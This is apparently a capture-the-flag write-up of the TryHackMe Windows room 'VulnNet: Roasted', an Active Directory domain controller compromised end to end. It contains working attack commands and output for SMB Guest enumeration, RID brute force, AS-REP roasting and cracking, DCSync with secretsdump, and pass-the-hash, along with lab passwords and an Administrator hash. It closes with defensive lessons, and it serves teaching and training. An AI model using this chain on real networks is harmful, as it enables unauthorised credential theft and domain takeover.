root@thehacksparrow:~/writeups$ SYSTEM ONLINE
root@sparrow:~/writeups$ cat vulnnet-roasted.md
// Offensive

VulnNet: Roasted

27 Nov 2026 · 6 min read
Executive summary — VulnNet: Roasted is an Easy Windows room built around a single Active Directory domain controller (vulnnet-rst.local). Anonymous (Guest) SMB access leaks a handful of employee names, a RID brute force turns them into real account names, one of those accounts has Kerberos pre-authentication disabled so its AS-REP hash can be roasted and cracked, that user can read a login script in NETLOGON containing a hard-coded password for a more privileged account, and that account is allowed to replicate directory secrets, so a DCSync-style dump yields the Administrator NT hash for pass-the-hash. A Guest SMB → RID brute → AS-REP roast → script creds → WinRM → secretsdump → Administrator journey.
PlatformTryHackMe
Operating systemWindows (Server 2019, domain controller)
DifficultyEasy
RoomVulnNet: Roasted
Target IPMACHINE_IP

Attack map

[SMB 445]  Guest session allowed, two "Anonymous" shares readable
   |  text files -> 4 employee names
   v
[RID brute]  Guest can enumerate SIDs -> real sAMAccountNames
   |  t-skid has DONT_REQUIRE_PREAUTH
   v
[AS-REP roast]  hash -> john + rockyou -> password for t-skid
   |  t-skid can read NETLOGON
   v
[ResetPassword.vbs]  hard-coded password of a-whitehat
   |  WinRM (5985) -> user flag
   v
[secretsdump]  a-whitehat may replicate AD -> NT hash of Administrator
   |  pass-the-hash over WinRM
   v
[ADMIN]  system flag = FLAG

1. Reconnaissance

The target needs a few minutes to boot fully, and Windows firewalls drop probes silently, so an all-ports scan is slow but worthwhile:

sudo nmap -sC -sV -p- MACHINE_IP
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap          (Domain: vulnnet-rst.local)
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  ncacn_http
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          (Domain: vulnnet-rst.local)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0
9389/tcp  open  mc-nmf        .NET Message Framing
Service Info: Host: WIN-2BO8M1OE1M1; OS: Windows
smb2-security-mode: Message signing enabled and required
Analysis: the combination of DNS (53), Kerberos (88), LDAP (389/3268) and kpasswd (464) is the signature of an Active Directory domain controller. The LDAP banner reveals the domain, vulnnet-rst.local. Port 5985 is WinRM, a remote shell that works for any account in the Remote Management Users or Administrators group, and 9389 is AD Web Services. SMB signing is required, which rules out NTLM relay but not password attacks. A quick UDP scan adds only DNS, Kerberos and NTP (123), nothing new.

2. SMB enumeration as Guest

NetExec (the successor of CrackMapExec) is a fast way to test what a session can see. An empty username is refused, but the built-in Guest account with an empty password is accepted:

nxc smb MACHINE_IP -u '' -p '' --shares        # STATUS_ACCESS_DENIED
nxc smb MACHINE_IP -u Guest -p '' --shares
IPC$                            READ    Remote IPC
NETLOGON
SYSVOL
VulnNet-Business-Anonymous      READ    VulnNet Business Sharing
VulnNet-Enterprise-Anonymous    READ    VulnNet Enterprise Sharing

Two non-default shares are readable. List and download everything from both with smbclient (recurse;ls prints the tree, mget * downloads it):

smbclient -U Guest --password='' //MACHINE_IP/VulnNet-Business-Anonymous -c 'recurse;ls'
smbclient -U Guest --password='' //MACHINE_IP/VulnNet-Enterprise-Anonymous
smb: \> mget *

Each share holds three short text files (Business-Manager, Business-Sections, Enterprise-Operations and so on). They are corporate filler, but they mention four people: Alexa Whitehat, Jack Goldenhand, Johnny Leet and Tony Skid. We now have names, but Kerberos needs the exact login format, which we cannot guess reliably.

3. RID brute force for real usernames

Every AD object has a SID ending in a relative identifier (RID). Built-in accounts have fixed RIDs (500 Administrator, 502 krbtgt, 512 Domain Admins) and domain-created objects start at 1000. If the Guest session may query the LSA over IPC$, we can simply ask the server to translate RID 500, 501, 502, ... into names:

nxc smb MACHINE_IP -u Guest -p '' --rid-brute
500: VULNNET-RST\Administrator (SidTypeUser)
502: VULNNET-RST\krbtgt (SidTypeUser)
1104: VULNNET-RST\enterprise-core-vn (SidTypeUser)
1105: VULNNET-RST\a-whitehat (SidTypeUser)
1109: VULNNET-RST\t-skid (SidTypeUser)
1110: VULNNET-RST\j-goldenhand (SidTypeUser)
1111: VULNNET-RST\j-leet (SidTypeUser)

The naming scheme is first-initial dash surname, plus a service-looking account enterprise-core-vn. Save the five non-built-in names to usernames.txt.

4. AS-REP roasting

Normally a Kerberos client proves it knows the password before the KDC answers (pre-authentication). If an account has the flag DONT_REQUIRE_PREAUTH (UF_DONT_REQUIRE_PREAUTH), anyone can ask the KDC for an AS-REP for that user without a password, and part of the reply is encrypted with a key derived from the user's password. That ciphertext can be cracked offline. This is MITRE ATT&CK T1558.004. With a username list and no credentials, Impacket's GetNPUsers tries each name:

impacket-GetNPUsers vulnnet-rst.local/ -dc-ip MACHINE_IP -no-pass -usersfile usernames.txt -outputfile hashes.txt
[-] User enterprise-core-vn doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User a-whitehat doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$t-skid@VULNNET-RST.LOCAL:469cfed8...<truncated>
[-] User j-goldenhand doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User j-leet doesn't have UF_DONT_REQUIRE_PREAUTH set

Only t-skid is misconfigured. The $krb5asrep$23$ prefix means RC4-HMAC (etype 23), which is cheap to crack. John handles the format directly:

john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
tj072889*        ($krb5asrep$23$t-skid@VULNNET-RST.LOCAL)

First credentials: t-skid : tj072889* (hashcat mode 18200 would do the same job).

5. Authenticated SMB and the NETLOGON script

Valid domain credentials open more doors. Re-running the share listing as t-skid now adds READ on NETLOGON and SYSVOL, the shares that distribute logon scripts and Group Policy to every domain machine:

nxc smb MACHINE_IP -u t-skid -p 'tj072889*' --shares
smbclient -U t-skid --password='tj072889*' //MACHINE_IP/NETLOGON
smb: \> mget *

NETLOGON contains a single file, ResetPassword.vbs. Reading its top lines shows a script that was clearly written to reset a password, with the account and the new password hard-coded:

strUserNTName = "a-whitehat"
strPassword = "bNdKVkjv3RR9ht"
Analysis: NETLOGON is readable by every authenticated user, so anything written into a script there is public to the whole domain. This is the same class of mistake as passwords in GPP files or SYSVOL scripts. Second credentials: a-whitehat : bNdKVkjv3RR9ht.

6. WinRM as a-whitehat

Whether a user can open a remote shell is easy to test, because NetExec marks successful administrative access with (Pwn3d!):

nxc winrm MACHINE_IP -u a-whitehat -p 'bNdKVkjv3RR9ht' -d vulnnet-rst.local
[+] vulnnet-rst.local\a-whitehat:bNdKVkjv3RR9ht (Pwn3d!)

That tag means the account is privileged on the host, so Evil-WinRM gives a shell:

evil-winrm -i MACHINE_IP -u a-whitehat -p 'bNdKVkjv3RR9ht'

The user's own desktop has nothing, so search the profiles for the flag file. where.exe /R is the Windows equivalent of find (the .exe is needed because plain where is an alias in PowerShell):

where.exe /R C:\Users user.txt
Get-Content C:\Users\enterprise-core-vn\Desktop\user.txt   # FLAG

The user flag sits on the desktop of enterprise-core-vn, readable because our account has administrative rights.

7. Dumping the domain with secretsdump

A local admin on a domain controller (or any account with the directory replication rights "Replicating Directory Changes" and "Replicating Directory Changes All") can ask the DC to hand over password data using the DRSUAPI replication protocol, the same call a second DC would use. This is the technique known as DCSync (T1003.006). Impacket does it remotely:

impacket-secretsdump -just-dc vulnnet-rst.local/a-whitehat:'bNdKVkjv3RR9ht'@MACHINE_IP

-just-dc limits the work to NTDS.dit secrets and skips the registry/SAM extraction. The output lists every account as domain\user:RID:LM:NT, followed by Kerberos keys. The line that matters:

Administrator:500:aad3b435b51404eeaad3b435b51404ee:c2597747aa5e43022a3a3049a3c3b09d:::

The LM part aad3b435... is the well-known value for "empty/no LM hash" and can be ignored. The krbtgt hash is also in the dump, which would allow forging Golden Tickets in a real engagement.

8. Pass-the-hash as Administrator

Windows NTLM authentication only needs the NT hash, never the plaintext, so there is no need to crack it. Evil-WinRM accepts it with -H (T1550.002):

evil-winrm -i MACHINE_IP -u Administrator -H c2597747aa5e43022a3a3049a3c3b09d
whoami
vulnnet-rst\administrator
type C:\Users\Administrator\Desktop\system.txt   # FLAG

The system flag is stored in system.txt on the Administrator desktop: FLAG. Domain fully compromised.

Vulnerability summary

PhaseComponentVulnerabilityImpact
ReconSMB sharesGuest session allowed; internal documents exposed to anonymous usersEmployee names disclosed
EnumerationLSA / IPC$Guest can resolve RIDs (RID cycling)Full list of valid account names
Credential accessKerberos / AD accountPre-authentication disabled for t-skid plus a weak passwordOffline-crackable AS-REP hash, first domain credentials
Credential accessNETLOGON scriptPlaintext password hard-coded in ResetPassword.vbsPrivileged account takeover
Privilege escalationDirectory replicationCompromised account allowed to replicate secrets (DCSync / NTDS dump)All domain hashes, including Administrator
Lateral movementWinRM / NTLMPass-the-hash acceptedDomain Administrator shell

Lessons learned

  • Disable the Guest account and restrict anonymous access to shares and to SAM/LSA enumeration (RestrictAnonymous, "Network access: Restrict anonymous access"); RID cycling only works when those are loose.
  • Audit for accounts with DONT_REQUIRE_PREAUTH (for example, the LDAP filter userAccountControl:1.2.840.113556.1.4.803:=4194304); there is almost never a legitimate reason to have it. Where it must exist, use a long random password, and enforce AES-only Kerberos.
  • Never place credentials in scripts on NETLOGON or SYSVOL; every domain user can read them. Use LAPS, gMSA or a secrets manager.
  • Limit who holds replication rights and who is in privileged groups. Monitor for Event ID 4662 with the replication GUIDs and for DRSUAPI calls from non-DC hosts to catch DCSync.
  • Protect privileged accounts with the Protected Users group, tiered administration and restricted WinRM access; pass-the-hash works because the NT hash is the credential.
  • Offensively: when a name list is not enough, RID brute force gives the exact format; always re-enumerate shares after each new credential.